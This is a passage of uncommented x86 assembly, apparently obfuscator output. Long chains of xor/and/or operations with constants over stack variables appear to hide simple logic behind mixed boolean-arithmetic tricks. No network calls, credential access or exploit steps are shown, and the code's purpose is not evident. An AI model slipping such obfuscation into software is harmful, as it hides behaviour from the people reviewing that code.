xor al, 0xff
or ch, 0
and al, ch
or bh, al
mov al, byte [ebp - 0x42e2]
xor al, 0xff
and al, 0
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov ah, byte [ebp - 0x42e2]
and ah, cl
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, bh
xor cl, 0xff
xor al, 0xff
mov ah, byte [ebp - 0x4029]
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
and al, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
and bh, ah
or al, bh
mov ah, byte [ebp - 0x42e2]
xor ah, 0xff
xor al, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
mov ch, al
and ch, ah
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ah, 1
or cl, ch
or bl, ah
xor cl, bl
mov ah, byte [ebp - 0x4029]
xor ah, 0
xor cl, 0xff
mov ch, byte [ebp - 0x4029]
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, byte [ebp - 0x4029]
xor cl, 0
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, ch
and bl, 0
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, cl
xor ch, 0xff
mov bl, al
xor bl, ch
and bl, al
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x42fd], al
mov al, bh
and al, 1
mov byte [ebp - 0x42fe], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x42ff], al
mov al, byte [ebp - 0x42fe]
or ch, al
mov al, byte [ebp - 0x42ff]
or al, bh
xor ch, al
mov al, byte [ebp - 0x4029]
xor al, 0
mov bh, ch
xor bh, al
and bh, ch
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov al, ah
and al, bl
xor ah, bl
or al, ah
mov ah, bh
and ah, cl
xor bh, cl
or ah, bh
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and al, ch
mov bl, ah
xor bl, 0xff
and bl, 0xff
and ah, ch
or cl, al
or bl, ah
xor cl, bl
mov al, cl
xor al, 0xff
and al, 0
mov ah, byte [ebp - 0x4029]
xor ah, 0
and cl, ah
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 0
and ah, 1
or al, cl
or ch, ah
xor al, ch
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ah, al
and ah, cl
xor al, 0xff
and al, 1
or ah, al
xor ah, 0xff
mov al, byte [ebp - 0x4029]
xor al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 0
or ah, al
or cl, 0
xor ah, 0xff
and ah, cl
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
mov bl, ch
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, byte [ebp - 0x4029]
xor ch, 1
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
or ch, cl
or bl, 0
xor ch, 0xff
and ch, bl
mov cl, al
and cl, ch
xor al, ch
or cl, al
mov al, cl
xor al, 0xff
and al, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
and cl, ch
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ch, 1
or al, cl
or bl, ch
xor al, bl
mov cl, byte [ebp - 0x42fd]
xor cl, 0xff
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, byte [ebp - 0x42fd]
and bl, ch
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ch
or cl, bl
or bh, al
xor cl, bh
mov al, byte [ebp - 0x42fd]
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, ch
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, ah
xor al, 0xff
and al, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
and ah, bl
mov bh, ch
xor bh, 0xff
and bh, 0
and ch, bl
or al, ah
or bh, ch
xor al, bh
mov ah, cl
and ah, al
xor cl, al
or ah, cl
and ah, 1
movzx esi, ah
shl esi, 3
add edx, esi
mov esi, dword [ebp - 0x3c]
mov esi, dword [esi]
mov edi, dword [ebp - 0x4054]
xor edi, 0x80000000
and edi, 0x44ee0d5a
mov eax, dword [ebp - 0x4054]
xor eax, 0x44ee0d5a
mov ecx, eax
and ecx, 0x80000000
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0x44ee0d5a
and eax, 0xffffffff
or edi, ecx
or ebx, eax
xor edi, ebx
xor edi, 0xffffffff
xor edi, 0xc870aa9d
and edi, 0xc870aa9d
mov eax, dword [ebp - 0x4054]
xor eax, 0xc870aa9d
and eax, 0x937ba4f5
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x937ba4f5
mov ebx, ecx
and ebx, 0xc870aa9d
mov dword [ebp - 0x4304], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x937ba4f5
and ecx, 0xffffffff
mov dword [ebp - 0x4308], eax
mov eax, dword [ebp - 0x4304]
or eax, ebx
mov ebx, dword [ebp - 0x4308]
or ebx, ecx
xor eax, ebx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x80000000
mov ebx, eax
xor ebx, 0xffffffff
mov dword [ebp - 0x430c], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x72dfeb78
or ecx, ebx
or eax, 0x72dfeb78
xor ecx, 0xffffffff
and ecx, eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x209dd445
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x209dd445
mov dword [ebp - 0x4310], eax
mov eax, ebx
and eax, 0xffffffff
mov dword [ebp - 0x4314], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xffffffff
and eax, 0x209dd445
and ebx, 0xffffffff
mov dword [ebp - 0x4318], eax
mov eax, dword [ebp - 0x4310]
mov dword [ebp - 0x431c], ecx
mov ecx, dword [ebp - 0x4314]
or eax, ecx
mov ecx, dword [ebp - 0x4318]
or ecx, ebx
xor eax, ecx
xor eax, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xc870aa9d
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xfe597b54
or eax, ecx
or ebx, 0xfe597b54
xor eax, 0xffffffff
and eax, ebx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
mov ebx, dword [ebp - 0x430c]
xor ebx, 0xffffffff
mov dword [ebp - 0x4320], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x3f3363ed
or ecx, ebx
or eax, 0x3f3363ed
xor ecx, 0xffffffff
and ecx, eax
mov eax, edi
mov ebx, dword [ebp - 0x431c]
and eax, ebx
xor edi, ebx
or eax, edi
mov edi, dword [ebp - 0x4320]
xor edi, 0xffffffff
mov ebx, ecx
xor ebx, 0xffffffff
mov dword [ebp - 0x4324], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x54a1a736
mov dword [ebp - 0x4328], eax
mov eax, edi
and eax, 0x54a1a736
mov dword [ebp - 0x432c], eax
mov eax, dword [ebp - 0x4320]
mov dword [ebp - 0x4330], ecx
mov ecx, dword [ebp - 0x4328]
and eax, ecx
mov ecx, ebx
and ecx, 0x54a1a736
mov dword [ebp - 0x4334], eax
mov eax, dword [ebp - 0x4330]
mov dword [ebp - 0x4338], ecx
mov ecx, dword [ebp - 0x4328]
and eax, ecx
mov ecx, dword [ebp - 0x432c]
mov dword [ebp - 0x433c], eax
mov eax, dword [ebp - 0x4334]
or ecx, eax
mov eax, dword [ebp - 0x4338]
mov dword [ebp - 0x4340], ecx
mov ecx, dword [ebp - 0x433c]
or eax, ecx
mov ecx, dword [ebp - 0x4340]
xor ecx, eax
or edi, ebx
xor edi, 0xffffffff
mov eax, dword [ebp - 0x4328]
or eax, 0x54a1a736
and edi, eax
or ecx, edi
mov eax, dword [ebp - 0x4324]
xor eax, 0xffffffff
mov edi, ecx
and edi, eax
xor ecx, 0xffffffff
mov eax, dword [ebp - 0x4324]
and eax, ecx
or edi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0xffffffff
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
mov ebx, esi
and ebx, ecx
or eax, ebx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x276a2051
xor eax, 0xffffffff
mov ebx, dword [ebp - 0x4054]
xor ebx, 0x599bf544
or ecx, eax
or ebx, 0x599bf544
xor ecx, 0xffffffff
and ecx, ebx
mov eax, dword [ebp - 0x4054]
xor eax, 0x276a2051
and eax, 0xffffffff
mov ebx, dword [ebp - 0x4054]
xor ebx, 0xffffffff
and ebx, 0x276a2051
or eax, ebx
mov ebx, esi
xor ebx, 0xffffffff
mov dword [ebp - 0x4344], eax
xor eax, 0xffffffff
mov dword [ebp - 0x4348], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0xbb951d53
mov dword [ebp - 0x434c], eax
mov eax, dword [ebp - 0x4348]
or ebx, eax
mov eax, dword [ebp - 0x434c]
or eax, 0xbb951d53
xor ebx, 0xffffffff
and ebx, eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x6275b93a
mov dword [ebp - 0x4350], eax
mov eax, dword [ebp - 0x4054]
xor eax, 0x6275b93a
mov dword [ebp - 0x4354], eax
mov eax, edi
mov dword [ebp - 0x4358], ecx
mov ecx, dword [ebp - 0x4354]
and eax, ecx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xffffffff
and ecx, 0x6275b93a
mov dword [ebp - 0x435c], eax
mov eax, dword [ebp - 0x4354]
and eax, 0xffffffff
mov dword [ebp - 0x4360], eax
mov eax, dword [ebp - 0x4350]
mov dword [ebp - 0x4364], ecx
mov ecx, dword [ebp - 0x435c]
or eax, ecx
mov ecx, dword [ebp - 0x4364]
mov dword [ebp - 0x4368], eax
mov eax, dword [ebp - 0x4360]
or ecx, eax
mov eax, dword [ebp - 0x4368]
xor eax, ecx
mov ecx, dword [ebp - 0x4054]
xor ecx, 0x276a2051
mov dword [ebp - 0x436c], eax
xor eax, ecx
mov ecx, dword [ebp - 0x436c]
and eax, ecx
mov ecx, dword [ebp - 0x4344]
xor ecx, 0xffffffff
mov dword [ebp - 0x4370], eax
mov eax, edi
xor eax, ecx
and eax, edi
mov ecx, dword [ebp - 0x4358]
and ecx, ebx
mov edi, dword [ebp - 0x4358]
xor edi, ebx
or ecx, edi
mov edi, dword [ebp - 0x4370]
and edi, eax
mov ebx, dword [ebp - 0x4370]
xor ebx, eax
or edi, ebx
mov eax, ecx
xor eax, 0xffffffff
mov ebx, edi
and ebx, eax
xor edi, 0xffffffff
and ecx, edi
or ebx, ecx
mov eax, esi
xor eax, 0xffffffff
and eax, 0xbb864b2d
mov ecx, dword [ebp - 0x4054]
xor ecx, 0xbb864b2d
and esi, ecx
mov edi, dword [ebp - 0x4054]
xor edi, 0xffffffff
and edi, 0xbb864b2d
and ecx, 0xffffffff
or eax, esi
or edi, ecx
xor eax, edi
mov ecx, ebx
xor ecx, 0xffffffff
and ecx, 0xf4de9c00
mov esi, dword [ebp - 0x4054]
xor esi, 0xf4de9c00
mov edi, ebx
and edi, esi
mov dword [ebp - 0x4374], eax
xor eax, 0xffffffff
and eax, 0xf4de9c00
mov dword [ebp - 0x4378], eax
mov eax, dword [ebp - 0x4374]
and eax, esi
or ecx, edi
mov esi, dword [ebp - 0x4378]
or esi, eax
xor ecx, esi
xor ecx, 0xffffffff
xor ebx, 0xffffffff
mov eax, dword [ebp - 0x4054]
xor eax, 0xd06f1f40
or ecx, ebx
or eax, 0xd06f1f40
xor ecx, 0xffffffff
and ecx, eax
cmp ecx, 0
setne al
mov ah, al
xor ah, 0xff
and ah, 0
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov ch, al
and ch, cl
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov ch, al
xor ch, cl
and ch, al
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, cl
xor ah, 0xff
and ah, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
and cl, ch
mov bl, byte [ebp - 0x4029]
xor bl, 1
and bl, 0
and ch, 1
or ah, cl
or bl, ch
xor ah, bl
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ch, ah
and ch, cl
xor ah, 0xff
and ah, 1
or ch, ah
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ah, ch
xor ah, cl
and ah, ch
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 0
mov ch, byte [ebp - 0x4029]
xor ch, 0
mov bl, ch
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
mov ch, byte [ebp - 0x4029]
xor ch, 1
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
or ch, cl
or bl, 1
xor ch, 0xff
and ch, bl
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x4379], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, byte [ebp - 0x4029]
xor al, 1
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
or al, cl
or bl, 0
xor al, 0xff
and al, bl
mov cl, ch
and cl, al
xor ch, al
or cl, ch
mov al, cl
xor al, 0xff
and al, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bl, cl
and bl, ch
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ch, 1
or al, bl
or bh, ch
xor al, bh
mov ch, byte [ebp - 0x4379]
xor ch, 0xff
mov bl, al
and bl, ch
xor al, 0xff
mov ch, byte [ebp - 0x4379]
and ch, al
or bl, ch
mov al, byte [ebp - 0x4379]
xor al, 0xff
mov ch, bl
xor ch, al
and ch, bl
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x437a], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x437b], al
mov al, byte [ebp - 0x437a]
or al, bh
mov bh, byte [ebp - 0x437b]
or bh, bl
xor al, bh
xor al, 0xff
xor al, 0
and al, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
and bl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0
or bl, bh
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x437c], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x437d], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x437e], al
mov al, byte [ebp - 0x437d]
or bh, al
mov al, byte [ebp - 0x437e]
or al, 0
xor bh, 0xff
and bh, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov byte [ebp - 0x437f], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x4380], al
and al, 1
mov byte [ebp - 0x4381], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
mov byte [ebp - 0x4382], al
mov al, byte [ebp - 0x4380]
and al, 1
mov byte [ebp - 0x4383], al
mov al, byte [ebp - 0x437f]
mov byte [ebp - 0x4384], cl
mov cl, byte [ebp - 0x4381]
or al, cl
mov cl, byte [ebp - 0x4382]
mov byte [ebp - 0x4385], al
mov al, byte [ebp - 0x4383]
or cl, al
mov al, byte [ebp - 0x4385]
xor al, cl
xor al, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 0
mov byte [ebp - 0x4386], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x4387], al
mov al, byte [ebp - 0x4386]
or al, cl
mov cl, byte [ebp - 0x4387]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x4029]
xor cl, 1
xor bl, 0xff
mov byte [ebp - 0x4388], al
mov al, byte [ebp - 0x4029]
xor al, 0
or cl, bl
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x437c]
xor al, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x4389], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x438a], al
mov al, byte [ebp - 0x4389]
and al, 0
mov byte [ebp - 0x438b], al
mov al, byte [ebp - 0x437c]
mov byte [ebp - 0x438c], cl
mov cl, byte [ebp - 0x438a]
and al, cl
mov cl, bl
and cl, 0
mov byte [ebp - 0x438d], al
mov al, byte [ebp - 0x438a]
and bh, al
mov al, byte [ebp - 0x438b]
mov byte [ebp - 0x438e], cl
mov cl, byte [ebp - 0x438d]
or al, cl
mov cl, byte [ebp - 0x438e]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x4389]
or cl, bl
xor cl, 0xff
mov bl, byte [ebp - 0x438a]
or bl, 0
and cl, bl
or al, cl
mov cl, byte [ebp - 0x4388]
xor cl, 0xff
mov bl, byte [ebp - 0x438c]
xor bl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x438f], al
mov al, cl
and al, 0
mov byte [ebp - 0x4390], al
mov al, byte [ebp - 0x4388]
and al, bh
mov byte [ebp - 0x4391], al
mov al, bl
and al, 0
mov byte [ebp - 0x4392], al
mov al, byte [ebp - 0x438c]
and al, bh
mov byte [ebp - 0x4393], al
mov al, byte [ebp - 0x4390]
mov byte [ebp - 0x4394], cl
mov cl, byte [ebp - 0x4391]
or al, cl
mov cl, byte [ebp - 0x4392]
mov byte [ebp - 0x4395], al
mov al, byte [ebp - 0x4393]
or cl, al
mov al, byte [ebp - 0x4395]
xor al, cl
mov cl, byte [ebp - 0x4394]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x438f]
xor cl, 0xff
mov bl, al
and bl, cl
xor al, 0xff
mov cl, byte [ebp - 0x438f]
and cl, al
or bl, cl
mov al, bl
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and bl, cl
or al, bl
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 0
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x4396], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
and bl, 1
or cl, bh
or al, bl
xor cl, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x4397], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0x4398], al
mov al, byte [ebp - 0x4397]
or al, bh
mov bh, byte [ebp - 0x4398]
or bh, bl
xor al, bh
mov bl, byte [ebp - 0x4396]
and bl, cl
mov bh, byte [ebp - 0x4396]
xor bh, cl
or bl, bh
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, bl
xor al, 0xff
and al, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bl, bh
or al, bl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and cl, 1
or al, cl
mov cl, byte [ebp - 0x4384]
xor cl, 0xff
and cl, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x4399], al
mov al, byte [ebp - 0x4384]
and al, bh
mov byte [ebp - 0x439a], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x439b], al
mov al, byte [ebp - 0x439a]
or cl, al
mov al, byte [ebp - 0x439b]
or al, bh
xor cl, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x439c], al
mov al, bh
and al, 1
mov byte [ebp - 0x439d], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x439e], al
mov al, byte [ebp - 0x439c]
mov byte [ebp - 0x439f], cl
mov cl, byte [ebp - 0x439d]
or al, cl
mov cl, byte [ebp - 0x439e]
or cl, bh
xor al, cl
mov cl, byte [ebp - 0x4399]
xor cl, 0xff
mov bh, byte [ebp - 0x439f]
xor bh, 0xff
mov byte [ebp - 0x43a0], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x43a1], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x43a2], al
mov al, byte [ebp - 0x4399]
mov byte [ebp - 0x43a3], cl
mov cl, byte [ebp - 0x43a1]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x43a4], al
mov al, byte [ebp - 0x439f]
mov byte [ebp - 0x43a5], cl
mov cl, byte [ebp - 0x43a1]
and al, cl
mov cl, byte [ebp - 0x43a2]
mov byte [ebp - 0x43a6], al
mov al, byte [ebp - 0x43a4]
or cl, al
mov al, byte [ebp - 0x43a5]
mov byte [ebp - 0x43a7], cl
mov cl, byte [ebp - 0x43a6]
or al, cl
mov cl, byte [ebp - 0x43a7]
xor cl, al
mov al, byte [ebp - 0x43a3]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x43a1]
or bh, 1
and al, bh
or cl, al
mov al, byte [ebp - 0x4029]
xor al, 1
mov bh, byte [ebp - 0x43a0]
xor bh, 0xff
mov byte [ebp - 0x43a8], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x43a9], al
mov al, byte [ebp - 0x43a8]
and al, 0
mov byte [ebp - 0x43aa], al
mov al, byte [ebp - 0x43a9]
and al, 1
mov byte [ebp - 0x43ab], al
mov al, bh
and al, 0
mov byte [ebp - 0x43ac], al
mov al, byte [ebp - 0x43a0]
mov byte [ebp - 0x43ad], cl
mov cl, byte [ebp - 0x43a9]
and al, cl
mov cl, byte [ebp - 0x43aa]
mov byte [ebp - 0x43ae], al
mov al, byte [ebp - 0x43ab]
or cl, al
mov al, byte [ebp - 0x43ac]
mov byte [ebp - 0x43af], cl
mov cl, byte [ebp - 0x43ae]
or al, cl
mov cl, byte [ebp - 0x43af]
xor cl, al
mov al, byte [ebp - 0x43a8]
or al, bh
xor al, 0xff
mov bh, byte [ebp - 0x43a9]
or bh, 0
and al, bh
or cl, al
mov al, byte [ebp - 0x43ad]
xor al, 0xff
and al, 0
mov bh, byte [ebp - 0x4029]
xor bh, 0
mov byte [ebp - 0x43b0], al
mov al, byte [ebp - 0x43ad]
and al, bh
mov byte [ebp - 0x43b1], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x43b2], al
mov al, byte [ebp - 0x43b0]
mov byte [ebp - 0x43b3], cl
mov cl, byte [ebp - 0x43b1]
or al, cl
mov cl, byte [ebp - 0x43b2]
or cl, bh
xor al, cl
xor al, 0xff
mov cl, byte [ebp - 0x43b3]
xor cl, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 0
or al, cl
or bh, 0
xor al, 0xff
and al, bh
mov cl, ah
xor cl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x43b4], al
mov al, byte [ebp - 0x4029]
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, ah
xor al, 0xff
mov bh, ch
and bh, al
xor ch, 0xff
and ah, ch
or bh, ah
mov al, cl
and al, bh
xor cl, bh
or al, cl
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, byte [ebp - 0x4029]
xor ah, 1
mov ch, bl
and ch, ah
mov bh, byte [ebp - 0x4029]
xor bh, 1
and bh, 0xff
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
mov ah, byte [ebp - 0x43b4]
xor ah, 0xff
and ah, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
mov bh, byte [ebp - 0x43b4]
and bh, ch
mov byte [ebp - 0x43b5], al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 0xff
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, byte [ebp - 0x4029]
xor al, 1
and al, 1
mov ch, byte [ebp - 0x4029]
xor ch, 1
and ch, 1
or al, ch
mov ch, cl
xor ch, 0xff
mov bh, byte [ebp - 0x4029]
xor bh, 1
mov byte [ebp - 0x43b6], al
mov al, byte [ebp - 0x4029]
xor al, 1
or ch, bh
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x43b6]
xor al, 0xff
mov bh, bl
xor bh, al
and bh, bl
mov al, ah
xor al, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 1
mov byte [ebp - 0x43b7], al
mov al, byte [ebp - 0x4029]
xor al, 0
mov byte [ebp - 0x43b8], al
mov al, byte [ebp - 0x43b7]
or al, bl
mov bl, byte [ebp - 0x43b8]
or bl, 0
xor al, 0xff
and al, bl
mov bl, byte [ebp - 0x43b6]
xor bl, 0xff
mov byte [ebp - 0x43b9], al
mov al, byte [ebp - 0x43b4]
xor al, bl
mov bl, byte [ebp - 0x43b4]
and al, bl
mov bl, ch
and bl, bh
xor ch, bh
or bl, ch
mov ch, byte [ebp - 0x43b9]
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x43ba], al
mov al, byte [ebp - 0x4029]
xor al, 1
mov byte [ebp - 0x43bb], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x43bc], al
mov al, byte [ebp - 0x43b9]
mov byte [ebp - 0x43bd], cl
mov cl, byte [ebp - 0x43bb]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x43be], al
mov al, byte [ebp - 0x43ba]
mov byte [ebp - 0x43bf], cl
mov cl, byte [ebp - 0x43bb]
and al, cl
mov cl, byte [ebp - 0x43bc]
mov byte [ebp - 0x43c0], al
mov al, byte [ebp - 0x43be]
or cl, al
mov al, byte [ebp - 0x43bf]
mov byte [ebp - 0x43c1], cl
mov cl, byte [ebp - 0x43c0]
or al, cl
mov cl, byte [ebp - 0x43c1]
xor cl, al
or ch, bh
xor ch, 0xff
mov al, byte [ebp - 0x43bb]
or al, 1
and ch, al
or cl, ch
mov al, bl
xor al, 0xff
mov ch, cl
and ch, al
xor cl, 0xff
and bl, cl
or ch, bl
mov al, byte [ebp - 0x43bd]
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x43c2], al
mov al, byte [ebp - 0x43bd]
and al, bl
mov byte [ebp - 0x43c3], al
mov al, cl
and al, 0
and ah, bl
mov byte [ebp - 0x43c4], al
mov al, byte [ebp - 0x43c3]
or bh, al
mov al, byte [ebp - 0x43c4]
or al, ah
xor bh, al
mov al, byte [ebp - 0x43c2]
or al, cl
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
and bh, cl
or al, bh
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ah, byte [ebp - 0x43b6]
xor ah, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x43c5], al
mov al, bl
and al, 1
mov byte [ebp - 0x43c6], al
mov al, ah
and al, 0
mov byte [ebp - 0x43c7], al
mov al, byte [ebp - 0x43b6]
and al, bl
mov byte [ebp - 0x43c8], al
mov al, byte [ebp - 0x43c6]
or bh, al
mov al, byte [ebp - 0x43c7]
mov byte [ebp - 0x43c9], cl
mov cl, byte [ebp - 0x43c8]
or al, cl
xor bh, al
mov al, byte [ebp - 0x43c9]
or al, ah
xor al, 0xff
or bl, 0
and al, bl
or bh, al
mov al, byte [ebp - 0x43c5]
xor al, 0xff
xor bh, 0xff
mov cl, byte [ebp - 0x4029]
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov bl, byte [ebp - 0x4029]
xor bl, 0
mov bh, cl
and bh, 0
and ch, bl
mov byte [ebp - 0x43ca], al
mov al, ah
and al, 0
mov byte [ebp - 0x43cb], al
mov al, byte [ebp - 0x43ca]
and al, bl
or bh, ch
mov ch, byte [ebp - 0x43cb]
or ch, al
xor bh, ch
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x43b5]
xor al, 0xff
and al, 1
mov cl, byte [ebp - 0x4029]
xor cl, 1
mov ah, byte [ebp - 0x43b5]
and ah, cl
or al, ah
xor al, 0xff
xor al, 0
and al, 0
